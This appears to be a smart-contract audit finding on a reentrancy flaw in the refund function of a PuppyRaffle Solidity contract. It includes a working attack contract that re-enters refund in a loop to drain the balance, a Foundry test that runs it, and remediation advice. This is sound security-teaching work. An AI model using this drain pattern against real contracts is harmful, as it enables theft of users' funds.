Exploiting this vulnerability enables an attacker to drain the contract balance. The Proof of Concept (POC) provided below demonstrates this:
interface IPuppyRaffle {
function refund(uint256) external payable;
function getActivePlayerIndex(address) external returns (uint256);
}
pragma solidity 0.7.6;
contract AttackRefundReEnter {
IPuppyRaffle public immutable puppyRaffle;
constructor(address puppyRaffleAddress) {
puppyRaffle = IPuppyRaffle(puppyRaffleAddress);
}
function getTheIndexOfAttacker() public returns (uint256 indexOfPlayer) {
return puppyRaffle.getActivePlayerIndex(msg.sender);
}
function attackPuppyRaffle(uint256) external payable {
uint256 indexOfAttacker = getTheIndexOfAttacker();
puppyRaffle.refund(indexOfAttacker);
}
receive() external payable {
uint256 indexOfAttacker = getTheIndexOfAttacker();
while (address(puppyRaffle).balance >= 1 ether) {
(this).attackPuppyRaffle(indexOfAttacker);
}
}
}
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import {Test, console, console2} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
import {AttackRefundReEnter} from "../src/myTestRefundReenter.sol";
contract MyTest is Test {
PuppyRaffle puppyRaffle;
AttackRefundReEnter attackRefundReEnter;
uint256 entranceFee = 1e18;
address playerOne = address(1);
address playerTwo = address(2);
address playerThree = address(3);
address playerFour = address(4);
address feeAddress = address(99);
uint256 duration = 1 days;
function setUp() public {
puppyRaffle = (new PuppyRaffle)(entranceFee, feeAddress, duration);
attackRefundReEnter = new AttackRefundReEnter(address(puppyRaffle));
}
modifier playersEntered() {
address[] memory players = new address[](5);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
players[4] = address(attackRefundReEnter);
puppyRaffle.enterRaffle{value: entranceFee * 5}(players);
_;
}
function testRefundReenter() public playersEntered {
console2.log("Balance of Attacker before:",address(address(attackRefundReEnter)).balance);
uint256 indexOfPlayer = puppyRaffle.getActivePlayerIndex(address(attackRefundReEnter));
vm.prank(address(attackRefundReEnter));
attackRefundReEnter.attackPuppyRaffle(indexOfPlayer);
console2.log(
"Balance of Attacker after:",
(address(attackRefundReEnter)).balance);
}
}
Implement the Check-Effects-Interactions pattern, and utilize non-reentrancy modifiers to prevent reentrancy attacks. These best practices can significantly enhance the security and robustness of the contract.